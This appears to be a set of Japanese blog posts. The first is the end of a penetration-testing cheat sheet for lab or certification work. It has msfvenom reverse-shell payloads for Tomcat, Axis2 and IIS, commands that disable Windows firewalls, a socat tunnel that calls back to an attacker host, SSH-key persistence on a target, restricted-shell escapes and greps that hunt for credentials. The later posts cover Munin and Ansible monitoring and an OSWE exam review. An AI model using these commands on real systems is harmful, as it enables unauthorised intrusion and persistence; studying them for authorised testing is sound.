FirewallによってOutboundが許可されず、コマンドは実行できるがリバースシェルが得られない場合、
netsh advfirewall set allprofiles state off
netsh firewall set opmode disable
でFirewallの設定を無効にする。
他にも以下の記事にいろいろなやり方が書いてある
www.hackingarticles.in
book.hacktricks.xyz
tomcat manager reverse shell
- manual
tomcat managerにログインできたときに以下のjspファイルを作成し、
github.com
$ mkdir webshell $ cp index.jsp webshell $ cd webshell $ jar -cvf ../webshell.war *
でwarファイルを作成してデプロイ
または,
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.1 LPORT=443 -f raw > reverse-443.jsp
でReverse shellのJSPファイルを作成したものをコンパイル。
- use exploit/multi/http/tomcat_mgr_upload
- msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.1.1 lport=443 -f war > reverse-443.war
medium.com
charlesreid1.com
axis2 reverse shell
sudo msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.56.5 lport=4444 -f jar -o shell.jar
axis2にログインできている場合、上記でペイロードを作成。
sudo jar -xvf shell.jar
で一度展開し、
META-INF/
にgenerate_payload.py
に書かれているservices.xml
を追加。
metasploit/
にsrc/lib/axis2/PayloadServlet.class
を追加.
そして、
sudo jar cvfm shell4.jar META-INF/MANIFEST.MF META-INF metasploit metasploit.dat
で再度jarファイルを作成し、アップロード。
Microsoft IIS reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.1 LPORT=8888 -f asp > shell-venom-less.txt
netcat
でリッスンする場合はStagelessを採用。curl -T shell-venom-less.txt http://10.11.1.1/upload/
asp
ファイルを直接Uploadできない場合は、TXTファイルをMOVE
でASPファイルに書き換える。curl -X MOVE --header 'Destination:http://10.11.1.1/upload/shell-venom-less.asp' 'http://10.11.1.1/upload/shell-venom-less.txt'
これで、URLにアクセスするとシェルが得られる。bypass protected page
IIS5.0ならWedDAVがデフォルトで有効になっており、Translate: f
ヘッダーを追加したり、%c0%af
をURLの文字列に加えることで保護されているページにアクセスできるようになる。
blog.skullsecurity.orguse exploit/windows/iis/iis_webdav_upload_asp
Metasploitでも同じことが可能。/usr/share/webshells/asp/cmdasp.asp
KaliにASPのWebshellが存在するが、なんか実行できなかった。
Shell Upgrade
python -c 'import pty; pty.spawn("/bin/sh")'
現在の擬似シェルから抜け出し、ptyシェルにアップグレードecho os.system('/bin/bash')
/bin/sh -i
perl —e 'exec "/bin/sh";'
tty(疑似端末)を持たないシェルの場合、標準入力を使うsuコマンドやジョブ制御ができない
echo $SHELL
で現在使っているシェルを確認
https://netsec.ws/?p=337に詳しくのっている。
参考:完全なTTYシェルの取得
orebibou.com
https://innogen-security.com/linux-tty-shell-using-script/innogen-security.com
Upgrading Simple Shells to Fully Interactive TTYs - ropnop blog
Bypass restricted shell
- vi上で
:!/bin/sh
,:set shell=/bin/sh
,:shell
scp -F /etc/passwd x y:
その他、less
,more
コマンドなど
rbash上ではls
,cd
,/を含むコマンド
,export PATH=/usr/bin:$PATH
などができない。ビルトインコマンド(execなど)を試す
export -p
pwd
- シェルに接続する時に
-t "bash --noprofile"
を付与すると、制限付きシェルを回避できるかもしれない。
SSHを介してコマンドが実行できるということ - OS(Kernel)特有のバグで回避できるかもしれない
help
help
コマンドはビルトインなので実行できるSSH shellでログイン
Kali@ssh-keygen -P "" -f vulnerable
Target@ mkdir ~www-data/.ssh
Target@chmod 700 ~www-data/.shh
Target@cd ~www-data/.ssh
Target@echo “Kali上でcat vulnerable.pubした結果” >> authorized_keys
Target@chmod 600 authorized_keys
これで準備OK
Kali@ssh 192.168.56.26 -l www-data -i vulnerable
参考(詳細)
https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shellspen-testing.sans.org
Socatを用いたTCPリダイレクト
Kali@ssh-keygen -P "" -f vulnerable
でSSH鍵を作成する。これでvulnerableとvulnerable.pubという秘密鍵と公開鍵が作成される。このうち、公開鍵を標的のサーバ上に保存する。「@Kali」と書いてるのはどっちで操作するのかわかりやすくするためTarget@ mkdir ~www-data/.ssh
Target@chmod 700 ~www-data/.shh
Target@cd ~www-data/.ssh
Target@echo “Kali上でcat vulnerable.pubした結果” >> authorized_keys
Target@chmod 600 authorized_keys
これで準備OK。Target@ while true; do socat TCP4:attacker:443 TCP4:127.0.0.1:22 ; done
Kali@ sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr
そして、最後にKaliで新たなTerminalを作成して、そこでKali@ssh localhost -p 2222 -l www-data -i vulnerable
とすれば以下のように使いやすいシェルが降ってくる。
さらに、代わりにKali@ssh localhost -p 2222 -l www-data -i vulnerable -L 13306:localhost:3306
とすることで、このシェルがつながった後、シェル上でTarget@mysql -h localhost -u root -P 13306
とすることで以下のような良いMysqlシェルが立ち上がる。
クレデンシャル情報の探索
find . -type f -name "*.php" | xargs grep "username" | grep "password"
grep -r "config" . | grep "password"
locate settings.php
などで探す。/var/www/以下にあるファイルに対して行う。settings
,config
などの名前のことが多い。
2020 3/8追記
以前ここに書いていたWindows のPEとIGの方針は文字数の都合上以下に載せなおしました。
kakyouim.hatenablog.com
最後
なんか間違ってたりしてたら教えていただけると幸いです。Vulnbub頑張るぞい!
研究室ネットワークに対するMuninでの監視をAnsibleで自動化する
大学の研究室が管理しているネットワークに10数台くらい計算機サーバーがあるんですが、一部の計算機サーバーしか監視できていない状態のため、全ての計算機サーバーを監視できるようにしたい。 その過程を書いた記事です。
背景
現状としては、以下のような問題があります。
研究室ネットワークにある計算機サーバーを使用する際にどれくらいCPUを使用しているのかやどれくらいのメモリを使用しているかなどが一元的にわからず、それぞれのサーバーにSSHログインしてコマンドで確認するしかない。
他の学生が計算機サーバーの大部分のリソースを使用している場合は、残りの計算機サーバーを使用する必要があるが、学生は毎回
top
コマンドなどで既に使用している人がいないか確認する必要がある。計算機サーバーで動かしているプログラムがメモリを使用しすぎている場合などに、それを通知する仕組みがない。
計算機サーバーや管理サーバーなどの死活監視がないため、停止しているサーバーがあった時に、それがいつからなのかの原因特定ができない。
一部の計算機サーバーに対してはMuninによる監視を先輩が導入してくれているが、Muninを動かす監視サーバーが計算機サーバーなので、別の管理用サーバーに移行したい
Muninによる設定は全て手動で行う必要があるため、コピペミスなどのヒューマンエラーが起こり得る
ちなみに、Muninというのはエージェント型の監視ツールのことで、監視をする側のサーバーがmunin-master、監視される側のサーバーがmunin-nodeになります。pingによる死活監視は監視対象にエージェントを入れる必要はありません。
目標
これらの問題を解決するため、以下のような目標を立てました
全ての計算機サーバーをMuninで監視する
監視項目の値が異常値の場合に、研究室のSlackに通知を送る
死活監視も行う
Muninの監視に関する設定をAnsibleで自動化する
Muninの設定
概要
まずは管理用サーバーにMuninを手動でインストールします。 研究室では、CentOS 6.9(Final)サーバーがNFS・NISによる共有アカウント・ストレージの管理をしているため、このサーバーをMuninとAnsibleのmasterとしました。(移行、masterサーバー(10.0.0.0)と呼びます)
Muninのインストール
masterのリポジトリのURLが古いものになったままだったので、正しく設定する。
[root@master ~]# sed -i -e "s|mirror\.centos\.org/centos/\$releasever|vault\.centos\.org/6.9|g" /etc/yum.repos.d/CentOS-Base.repo [root@master ~]# sed -i -e "s|#baseurl=|baseurl=|g" /etc/yum.repos.d/CentOS-Base.repo [root@master ~]# sed -i -e "s|mirrorlist=|#mirrorlist=|g" /etc/yum.repos.d/CentOS-Base.repo
既にあるキャッシュを削除しておく。これでyum
コマンドが正常に動くようになった。
[root@master ~]# yum clean all
httpdをインストールする(今回は初めから入っていたので省略)
httpdを起動する。
[root@master ~]# service httpd start httpd を起動中: [ OK ] [root@master ~]#
munin-server, munin-nodeをインストールする
[root@master ~]# yum --enablerepo=epel -y install munin munin-node
ちなみにですが、epelはEPEL6です。EPEL5の場合は多分パッケージの依存関係の問題が発生すると思います。(あんまりわかってない)
[root@master ~]# yum repolist all | grep -i epel * epel: ftp.iij.ad.jp epel Extra Packages for Enterprise Linux 6 - x86_ 有効: 12,581 epel-debuginfo Extra Packages for Enterprise Linux 6 - x86_ 無効 epel-source Extra Packages for Enterprise Linux 6 - x86_ 無効 epel-testing Extra Packages for Enterprise Linux 6 - Test 無効 epel-testing-debuginfo Extra Packages for Enterprise Linux 6 - Test 無効 epel-testing-source Extra Packages for Enterprise Linux 6 - Test 無効 [root@master ~]#
Munin-serverの設定
後々Ansibleでファイルに書き込むことを考慮して、監視対象に関する設定は/etc/munin/munin.conf
じゃなくて/etc/munin/conf.d/hosts.conf
に記述することにする。
[root@master ~]# vi /etc/munin/conf.d/hosts.conf # 以下を記述 [munin-master] address 127.0.0.1 use_node_name yes [root@master ~]# vi /etc/munin/conf.d/local.conf # 以下をコメントアウト [localhost] address 127.0.0.1 use_node_name yes [root@master ~]# service httpd restart httpd を停止中: [ OK ] httpd を起動中: [ OK ] [root@master ~]#
munin-nodeを起動して、永続化させる
[root@master ~]# service munin-node start Starting munin-node: [ OK ] [root@master ~]# chkconfig munin-node on
これでしばらくすると、hxxp://10.0.0.0/munin/にアクセスすると、munin-masterの項目が見えた!Muninはデフォルトだとcronによって5分ごとに実行されるため、5分待ってからアクセスする必要がある。
Muninのレイアウトを変える
デフォルトだとちょっと見にくいため、以下のようにして変更した
[root@master ~]# git clone https://github.com/munin-monitoring/contrib.git [root@master ~]# cd /etc/munin/ [root@master munin]# cp -rb /root/contrib/templates/munstrap/templates . [root@master munin]# cp -rb /root/contrib/templates/munstrap/static .
監視対象へのmunin-nodeの設定
Ansibleで自動化する前に、手動だとどういう手順になるのかを確認した。
今回は、監視対象はUbuntuサーバーとした(以降、ubuntu1で、IPアドレスは10.0.0.1とする)
munin-nodeをインストール
root@ubuntu1:~$ apt-get install munin-node
munin-masterのIPからの接続を許可
root@ubuntu1:~$ vim /etc/munin/munin-node.conf # 以下を追記 allow ^10.0.0.1$
munin-nodeを再起動
root@ubuntu1:~$ systemctl restart munin-node
自動起動の設定
root@ubuntu1:~$ systemctl enable munin-node
munin-masterで監視対象を追加
[root@master ~]# vi /etc/munin/conf.d/hosts.conf # 以下を追記 [calc-server;ubuntu1] address 10.0.0.1
これで、基本項目の監視はできるが、pingによる死活監視がしたいのでさらにプラグインを追加する。
ホスト名をping-ubuntu1に変更
[root@master munin]# ln -s /usr/share/munin/plugins/ping_ /etc/munin/plugins/ping_10.0.0.1 [root@master munin]# vim /etc/munin/plugin-conf.d/munin-node [ping_10.0.0.1] host_name ping-ubuntu1 env.packetloss_critical 50
実行できることを確認
[root@master munin]# munin-run ping_10.0.0.1 packetloss.value 0 ping.value 0.000107 [root@master munin]#
munin-nodeを再起動する必要がある!!!これ忘れててハマった。
[root@master munin]# service munin-node restart Stopping munin-node: [ OK ] Starting munin-node: [ OK ] [root@master munin]#
group名healthcheckの下に、ping-ubuntu1を作成する
[root@master munin]# vim /etc/munin/conf.d/hosts.conf [healthcheck;ping-ubuntu1] address 127.0.0.1 use_node_name no
これで、ubuntu1に対するpingによる死活監視もできた!
Ansibleで自動化
Ansibleをインストールしたmasterサーバーから、操作対象サーバーにAnsibleで操作する、というイメージ。
AnsibleをインストールするのもMuninと同じくmasterとし、ubuntu1と同様のUbuntuサーバーubuntu2(10.0.0.2)をAnsibleで操作したいとする。
sshの設定
Ansibleで操作対象サーバーに変更を加えるには、masterからSSH公開鍵認証できる必要がある。ので、その設定をする。
まずはubuntu2にSSH公開鍵認証できるように、PubkeyAuthentication yesのコメントアウトを外す
root@ubuntu2:~$ vim /etc/ssh/sshd_config # PubkeyAuthentication yesのコメントアウトを外す root@ubuntu2:~$
次にAnsibleのホスト上で作成した公開鍵を対象ホストにコピーする。
root@ubuntu2:~# mkdir .ssh root@ubuntu2:~# cd .ssh/ root@ubuntu2:~/.ssh# vim authorized_keys # Ansibleのホスト上で作成した公開鍵(id_rsa.pub)をそのままコピペする
これでAnsibleのホストから公開鍵認証でSSHできる。
[root@master ~]# ssh root@10.0.0.2
Ansibleのフォルダ構成
[root@master ansible]# tree . ├── ansible.cfg ├── group_vars # インベントリファイルのグループ毎の変数を記述するディレクトリ │ └── master # masterグループ │ └── alert_conf.yml # Muninのアラートの閾値などが記述されるファイル ├── playbooks │ ├── munin-setting.yml # インベントリファイルで定義されたグループをMuninの監視対象にするためのPlaybook │ └── roles │ └── munin # Muninに関する設定を記述するディレクトリ │ └── tasks │ ├── main.yml # roleが呼び出されたときに最初に実行されるファイル │ ├── master-config.yml # munin-masterに対する操作をするファイル │ └── node-default-config.yml # munin-node(監視対象)に対する操作をするファイル └── production # インベントリファイル
./ansible.cfg
ファイル
[defaults] retry_files_enabled = False
./production
ファイル
[master] 10.0.0.0 ansible_connection=local [ubuntu_calcservers_python3] 10.0.0.1 name=ubuntu1 cpucore=32 memory=125 10.0.0.2 name=ubuntu2 cpucore=32 memory=125 [ubuntu_calcservers_python3:vars] ansible_python_interpreter=/usr/bin/python3 [calcservers:children] ubuntu_calcservers_python3
./group_vars/master/alert_conf.yml
ファイル
--- # Muninで出すアラートの閾値の比率 cpu_warning_ratio: 1.0 memory_warning_ratio: 0.8 memory_critical_ratio: 1.0
./playbooks/munin-setting.yml
ファイル
--- # ubuntuで/usr/bin/python3を使うグループのmunin-nodeに対する設定 - hosts: ubuntu_calcservers_python3 roles: - munin # munin-masterの設定を追記 - hosts: master tasks: - include_tasks: roles/munin/tasks/master-config.yml loop: "{{ groups['calcservers'] }}" loop_control: loop_var: server
./playbooks/roles/munin/tasks/main.yml
ファイル
--- - name: node default config include_tasks: node-default-config.yml
./playbooks/roles/munin/tasks/master-config.yml
ファイル
--- - name: ホスト{{server}}を監視する設定を追記 blockinfile: path: /etc/munin/conf.d/hosts.conf insertafter: "^.*$" marker: "# {mark} ANSIBLE MANAGED BLOCK {{ hostvars[server].name }}" block: | [calc-server;{{hostvars[server].name}}] address {{server}} cpu.user.warning :{{ (hostvars[server].cpucore * 100 * cpu_warning_ratio) | int }} memory.apps.warning :{{ (hostvars[server].memory * 1073741824 * memory_warning_ratio) | int }} memory.apps.critical :{{ (hostvars[server].memory * 1073741824 * memory_critical_ratio) | int }} [healthcheck;ping-{{ hostvars[server].name }}] address 127.0.0.1 use_node_name no - name: ping pluginのシンボリックリンクを作成 file: src: /usr/share/munin/plugins/ping_ dest: /etc/munin/plugins/ping_{{server}} state: link - name: ping pluginの設定を追記 blockinfile: path: /etc/munin/plugin-conf.d/00-default insertafter: "^.*$" marker: "# {mark} ANSIBLE MANAGED BLOCK {{ hostvars[server].name }}" block: | [ping_{{server}}] host_name ping-{{ hostvars[server].name }} env.packetloss_critical 50 - name: munin-nodeを再起動 service: name: munin-node state: restarted
./playbooks/roles/munin/tasks/node-default-config.yml
ファイル.
対象ホストにmunin-nodeをインストールするところまでAnsibleで自動化したかったが、研究室のサーバーはメンテナンスが不十分でそもそもapt-getやyumが正常に動作しないことがあったので、そこは手動でやる必要がある。。。
--- # エラーが発生する場合があるのでここは手動でやる... #- name: apt-get install munin-node # apt: # name: munin-node # force_apt_get: true - name: munin-masterのIPからの接続を許可 blockinfile: path: /etc/munin/munin-node.conf insertafter: "^allow .*$" block: | allow ^10.0.0.0$ - name: munin-nodeを再起動 service: name: munin-node state: restarted - name: munin-nodeの自動起動を有効化 service: name: munin-node enabled: yes
Ansibleを使ったMuninの導入例
Ubuntuサーバーubuntu2へのMuninの導入をAnsibleで実行する例を示す。
まず、apt-get install munin-node
でubuntu2へ手動でmunin-nodeをインストールする。これは手動でやる
先述した手順で、AnsibleのmasterからSSH公開鍵認証ログインできるとする。
また、ubuntu2上では、/usr/bin/python3
でpythonが実行できるとする。
次に、master上でインベントリファイルに監視対象を設定。
Ubuntuサーバーで、python3コマンドが使用できるので[ubuntu_calcservers_python3]の下に以下を追記。
CPUは32コア、使用可能メモリは125G(free -hコマンドで確認)
[root@master ansible]# pwd /root/ansible [root@master ansible]# vim production 10.0.0.2 name=ubuntu2 cpucore=32 memory=125
これで、Ansibleのプレイブックを実行する!failedがなければOK!
[root@master ansible]# ansible-playbook playbooks/munin-setting.yml -i production 中略 PLAY RECAP ********************************************************************* 10.0.0.0 : ok=46 changed=9 unreachable=0 failed=0 10.0.0.1 : ok=5 changed=2 unreachable=0 failed=0 10.0.0.2 : ok=5 changed=1 unreachable=0 failed=0
これで、hxxp://10.0.0.0/munin/ を確認すると5分後にubuntu2の項目が増えていることがわかる!これでOK
Slackに通知
偉大な方が通知のためのシェルスクリプトを書いてくれているのでそれを活用!
後述する内容のファイルを作成
[root@master munin]# vi /usr/local/bin/notify_slack_munin
ファイルの内容は以下.
SLACK_CHANNEL
,SLACK_WEBHOOK_URL
,SLACK_USERNAME
,SLACK_ICON_EMOJI
に適切な値を入れればOK.
実行権限を付与
[root@master munin]# chmod 775 /usr/local/bin/notify_slack_munin
/etc/munin/munin.conf
に以下を追記
contact.slack.command MUNIN_SERVICESTATE="${var:worst}" MUNIN_HOST="${var:host}" MUNIN_SERVICE="${var:graph_title}" MUNIN_GROUP=${var:group} /usr/local/bin/notify_slack_munin contact.slack.always_send warning critical contact.slack.text ${if:cfields \u000A* CRITICALs:${loop<,>:cfields ${var:label} is ${var:value} (outside range [${var:crange}])${if:extinfo : ${var:extinfo}}}.}${if:wfields \u000A* WARNINGs:${loop<,>:wfields ${var:label} is ${var:value} (outside range [${var:wrange}])${if:extinfo : ${var:extinfo}}}.}${if:ufields \u000A* UNKNOWNs:${loop<,>:ufields ${var:label} is ${var:value}${if:extinfo : ${var:extinfo}}}.}${if:fofields \u000A* OKs:${loop<,>:fofields ${var:label} is ${var:value}${if:extinfo : ${var:extinfo}}}.}
ここまでやったが、Slackに通知が行かない….
よく見ると、メールが /var/spool/mail/root にあります
というメッセージが来ていた。
中身を見るとエラーを起こしているっぽい
/usr/local/bin/notify_slack_munin: line 55: 1: Bad file descriptor
/usr/local/bin/notify_slack_munin
の最後の行でエラーが起きているので以下のように修正したら治った。なんかわからんがヨシ!
curl -sX POST --data "payload=${PAYLOAD}" $SLACK_WEBHOOK_URL
最後に
AnsibleでMuninによる監視設定を自動化することで、複数のサーバーの設定を短時間ですることができました!
自分で書いたPlaybookで10個以上のサーバーへの設定を一瞬でできた時は感動しました。
懸念点としては、
- Ansibleが後輩に引き継がれるか微妙.
- Playbookのコードの改良.
- 古いCentOS 6.9でAnsibleを動かしているので、動作や今後が不安.
などがあります。
初めはAnsibleが難しかったですが、使ってみると便利だったので今後も機会があれば使いたいと思います!あと、古いバージョンのCentOSでの作業がとても苦痛でした。
OSWE Review(受験記)
3/28に受けたOSWEに合格したので受験記書きます!
若干冗長に書いてますがそこは許してください。
OSWE
OSWEはOffensive Security Web Expertの略で、AWAEというコースを受講して試験に合格するとOSWEの認定がもらえます。名前の通り内容はWeb ApplicationのWhiteboxベースでのPenetration Testです。
Web Applicationのソースコードや動作環境が与えられた状態でソースコードを分析して脆弱性を見つけて、Authentication bypass(認証バイパス)とRCE(任意コマンド実行)を達成するのが目的です。
OSCPはBlackboxですがOSWEはWhiteboxで全て背景で動いているものがわかっている状態です。
自身のスキル
OSCPを2020 5月にとってますが、WhiteboxのPenetration Testとかやったことないし何もわからん状態からスタートしました。
Webに関しては正直ド素人で最初は「なんもわかんね~」ってなってました。
(OSCPっていろいろな知識や考え方が必要な分、Webに関してはあんまり詳しくなくても良かった…)
AWAEコース
Offensive Securityの資格では、コース名と認定名は別で、OSWE認定のコース名はAWAEです。OSCP認定の場合はコース名はPWKです。
AWAEコースのコンテンツは、400ページくらいの英語のPDFとそれに対応するビデオと動作環境(9台のマシン)、3台の演習用のラボマシンです。ラボマシンの2台はWhiteboxで1台はBlackboxです。OSCP同様解説はありません。
基本的にはPDFに沿って動作環境で脆弱性の発見手順、Exploit手順を確認しながら進めていくことになります。PDFは10章から構成されていて、
1章はBurpとかの事前準備、
2章はAtmailというPHPアプリのXSS/RCE、
3章はAtutorというPHPアプリのSQL Injection/RCE、
4章は同じくAtutorのTypeJuggling、
5章はManageEngineというJavaServletベースのアプリのPostgreSQLのSQL Injection、
6章はBassmasterというNode.jsのパッケージのeval Injection、
7章はASP.NETのDotnetnukeというアプリのDeserialization、
8章はErpnextというPythonアプリのSQL Injection/SSTI、
9章はopenCRXというJavaアプリのWeak Random/XXE/RCE、
10章はopenITCOCKPITというアプリのBlackboxアプローチによるDom Based XSS/Command Injectionです。
詳しくは公開されている以下のシラバスを参照してください。
https://www.offensive-security.com/documentation/awae-syllabus.pdf
PDFには軽い演習のExcerciseとは別にExtra Milesという若干難しめの演習があります。大体はそんなに難しくはないですが、2つめちゃくちゃ悩んだExtra Milesがありました。
必要な知識
以下怪しい表現が散見されると思いますが大目に見てください…。
- プログラミングに関して
PHP Java JavaScript C# Pythonの基本文法、オブジェクト指向をなんとなく知ってる、MySQL PostgreSQLの基本文法、MVCの何となくの理解、JavaServlet ASP.NET Node.js のフレームワーク(?)の何となくの理解、くらい(?)
言語によって記述の仕方が若干違うので、ふんわりわかってればいいのかな?基本的にやる操作(リクエストパラメータから値をとって、サニタイジングしてSQL文に結合して検索して結果を返してtemplateにrenderするとか)は大体同じ気がします。ここら辺はコースをやってるうちに慣れてきます。
JavaScriptについてはNode.jsとブラウザとで両方わかってるといいと思います。
まあCTFとかのwriteup読んでいればいろんな言語が出てくると思うのでそれ読めるなら十分な気がします。
自分はJavaとC#を今まで触ったことがなかったので大学のプログラミング演習をC#で書いたりいろいろググったりして練習しました。
いろんな言語のオンライン実行環境。system系のコマンドも使えて便利!
https://paiza.io/ja/projects/new
いろんなPHPのバージョンで実行できるので便利。
https://sandbox.onlinephpfunctions.com/
オブジェクト指向とかは自分は正直あんまりわかってないけど、「このメソッドの定義元を探すとインターフェースが見つかって、そのインターフェースを実装してるクラスのメソッドを見る」「ここでインスタンス生成して(インスタンス名).(メソッド名)で実行してるから、インスタンスを作成したクラスを見てメソッドの定義を確認する」くらいの意味がわかればいいのかな?ってくらいです。
コース資料ではMySQLとPostgreSQLが出てきます。基本的なSQL構文は同じですが、若干の違いがあってSQL Injectionするときに知ってると便利なのでふんわりわかってるといいと思います
以下でMySQL,SQLite,PostgreSQL,MSSQLのオンライン環境があるのでInjectionを組み立てるときに確認とかに使ってました。
https://sqliteonline.com/
あとは正規表現の簡単なやつは見れば何やってるかわかるくらいでいいと思います。見てもよくわからんやつは
以下のサイトで動作を確認して理解できる程度でいいと思います。
https://regex101.com/
MVCは自分は雰囲気くらいしかわかってないですがそれで問題なかったです。もし全然一ミリも知らない場合はRailsチュートリアルとかで理解するといいと思います。(コースにRubyは出てきませんが)
フレームワークについてはいろいろ触ることにはなるので知らないものを触ることにはなりますが、知識はあるに越したことはないと思います。JavaServletだと設定は大体web.xmlに書かれていて読めばどのルーティングでどのサーブレットを使用するか、どこに認証が必要か、とかが書かれているけど知っていれば時短になるしPDFの理解も深まると思います。
まあでも自分はコースをやりながらここら辺の知識を回収したので事前に知ってる必要はないかもです。
ただAWAEコースでは基本的に言語やフレームワークについての解説はないです。
あとは基本的にPythonでExploitを書くことになるのでrequestとかの使い方をわかってるといいと思います。
- 脆弱性について
XSS(Reflective/DomBased)、Deserialization(.net/Java/python)、SQL Injection(union query,blind,stack query)、XXE 、FileUpload、TypeJuggling、SSTI、Command Injection、Weak Random(Java)、Sandbox Escape(JavaScript) などは事前に理解したうえでやるといいと思います。
XSSはCTFではCSPバイパスとかが主ですが、OSWEではXSSした後にそれを使ってAuthentication bypassするJavaScriptをXHRとかで作成するのが主な気がします。
SQL Injectionはblindで動作する自分用の動作するスクリプトは持ってるといいと思います。
SSTI(Server Side Template Injection)はどのPayloadが動作するかとかを事前にある程度知ってるといいと思います。
基本的にこれらの基本的な脆弱性の発生する箇所、条件、Exploit手順、できることなどは事前に知っておくといいと思います。CTFのwriteup読んでわかれば十分だと思います。
コースの感想
自分の時は60日コースと90日コースがあって、春休み中に取りたかったので60日コースにしました。いろんなレビューを読んでる限り結構60日コースを選択してる方が多い印象です。
自分は結局開始してから42日で試験受けたので60日くらいがいい塩梅な気がします。
ただ自分はOSWEを春休みに取ると決意したのが9月くらいからでそこからCTFのwriteup読んだり常設やったりといろいろ準備してたので、実は準備期間はかなり長いです。VMwareにKali-Linux-2020.4入れてやってました。OSCPではVMが配布されましたがOSWEではされなかったです。
コースでは主に脆弱性の発見プロセスとかを勉強するのですが、それが超よかったです。CTFとは違って対象はかなり大きめのアプリケーションなので、リアルワードでの脆弱性発見にかなり近いと思います。
個人的には、仕事で触ってるとかじゃない初心者に対してもとても良い教材だと思います。CVEを取ってみたいけどどうやって発見するのか全然想像がつかないって人にかなりお勧めです!実際、コースの勉強のためにソースコード分析したPHPアプリケーションで脆弱性を見つけて報告することができました!
こういうのって慣れがすべてな気がしていて、慣れるための教材としてAWAEはかなり良いと思います!
あと、今回は学生フォーラム以外にもRocketChatっていうチャットアプリで質問しました。OSCPとは違ってフォーラムに投稿があんまりないので、labマシンが全然わからなくて詰んだときにRocketChatの#awae-osweというルームで「OOがわかりません、DMしてもいいですか?」みたいな投稿をするとOffsecの社員が巡回しているので質問に答えてくれます。自分の時はめちゃくちゃ丁寧に対応してもらいました。もし詰んだときはこういうコミュニティで質問するのもありです。(もうすぐDiscordに移行するとか云々の話が出てるので今後はDiscordかもしれません)
自分はSQL Blind InjectionとかSSTIとかの発見した後のExploit手順の方はある程度CTFのwriteup読んで事前にわかってたんですが、コード読んだりの発見手順の方が全然慣れてなくて、「え、そんなことあんの!?」とか「あー、そうやって探すのか」みたいな連続でとても新鮮でした。
ただ自分はコードレビュー・開発の経験がゼロだったので慣れるまではしんどかったです。(今も慣れてるかといえば微妙)。個人的には、開発とかの経験はある必要はないですが、あればあるほどいいと思いました。
あと、コースでカバーされてる箇所以外にも実は脆弱性があって、ATutor、ManageEngineで見つけました。なので別の章でカバーしている脆弱性発見プロセスを違う章で試してみると勉強になると思います。
自分のスケジュール
日程 | 内容 |
---|---|
2021 2/14 | コース開始 |
2021 3/7 | 1周してExcerciseと簡単なExtra Miles完了 |
2021 3/18 | 残りのExtra Milesと2周目完了 |
2021 3/24 | 3台のlabマシン完了 |
2021 3/28 | 試験開始 |
2021 4/1 | 合格メール |
勉強方法
自分も他の方同様チートシートを作りながらPDFを進めてました。
チートシートには、grepするキーワードとか検証コードとかと、試験のために情報をいい感じに整理するように書きました。OSCPの時同様CherryTreeを使いました。
あとはホストのVScodeをVMwareのKaliにSSHで接続してPythonスクリプトを作成してました。
試験ではスクリプトを作成する必要があるので、コピペして再利用できるようにPythonスクリプトはコースの勉強中は整理して段階ごとに作成するといいと思います。
試験
試験は47時間45分で、そのあとに24時間以内に試験レポート提出します。
OSCPではラボレポートが5点分加点されましたが、OSWEではそれはなくて試験だけです。
合格基準は100点中85点以上で、2台のマシンのAuthentication bypass(35)、RCE(15)なのでRCEは一個なら見つけられなくても耐えです。
試験では合計5台のマシンがあって、2つはlocal.txtとproof.txtを入手する攻撃対象マシンで、その完全なコピーのデバッガマシンに対してWhiteboxで脆弱性を探します。デバッガマシンではデバッグできるようになってます。local.txt、proof.txtの場所は試験開始直後にメールで送られてくる試験コントロールパネルのリンクに記載されてます。あと一つは予備のKali VMでここからExploitを実行すると通信速度が速いです。
試験の予定
相変わらず心配性なので以下のような予定をたてて自分を安心させてました。試験時間48時間を8時間くらいの5分割してその中でAuthentication bypassとかRCEを一つ見つければOKっていう風にすれば残り時間で焦ることなく落ち着いてできるかなって思いました。(実際は全然この通りやりませんでしたワロタ)
試験当日メモ(予定) 脆弱性を特定できた時点でレポート書くためのメモ忘れない!! VMをもう一度リバートしてExploitスクリプトが動くか確認 3/28 11:30 試験前 トイレとか済ませてVMを起動しておく 3/28 11:45 試験監督ツールのセット 3/28 12:00 一つ目のマシン開始。Debug、ログの設定してルーティングとか理解。怪しいExploit列挙して、AuthBypassの探索開始 3/28 13:30 1つ目のAuthBypassを探す。うまく行かなければ次のやつにチェンジ。 3/28 15:30 2つ目のAuthBypassを探す。うまく行かなければ次のやつにチェンジ。 3/28 17:30 3つ目のAuthBypassを探す。うまく行かなければ次のやつにチェンジ。 3/28 19:30 4つ目のAuthBypassを探す。うまく行かなければ次のやつにチェンジ。 3/28 21:30 ここからごはん。ここまでで最初のマシンのAuthBypassを特定できればGood! 3/28 22:00 もしAuthBypassがなければ2つ目のマシンにチェンジする!RCEの怪しい実装 (Debug、ログの設定してルーティング)とか理解。怪しい個所列挙して、RCE(AuthBypass)の探索開始 3/28 23:30 1つ目のRCE(AuthBypass)を探す。うまく行かなければ次のやつにチェンジ。 3/29 01:30 2つ目のRCE(AuthBypass)を探す。うまく行かなければ次のやつにチェンジ。 3/29 03:30 3つ目のRCE(AuthBypass)を探す。うまく行かなければ次のやつにチェンジ。 3/29 05:30 ここまででRCEがあればVeryGood!!その場合は二つ目ちょっと見てから寝る。一つのAuthBypassがあればGood!寝る! 一つもなくてもまだ耐えてる(両方のマシン見てるから気づけばすぐのはず)。その場合は同じ操作を再度繰り返す!新たに気づくことがあるはず! 3/29 10:00 起きる。二つ目(再度一つ目)のマシン開始。列挙 3/29 11:30 1つ目のAuthBypass(RCE)を探す。うまく行かなければ次のやつにチェンジ。 3/29 13:30 昼ご飯。 3/29 14:00 2つ目のAuthBypass(RCE)を探す。うまく行かなければ次のやつにチェンジ。 3/29 16:00 3つ目のAuthBypass(RCE)を探す。うまく行かなければ次のやつにチェンジ。 3/29 18:00 4つ目のAuthBypass(RCE)を探す。うまく行かなければ次のやつにチェンジ。 3/29 20:00 ここまでで1つのマシンと1つのAuthBypassがあればVeryGood!ほぼ合格!一つのマシンならまだ全然耐えてる。一つのAuthBypassでもギリ耐えてるはず!ごはん 3/29 20:30 1つ目のRCE(AuthBypass)を探す。うまく行かなければ次のやつにチェンジ。 3/29 22:30 2つ目のRCE(AuthBypass)を探す。うまく行かなければ次のやつにチェンジ。 3/30 00:30 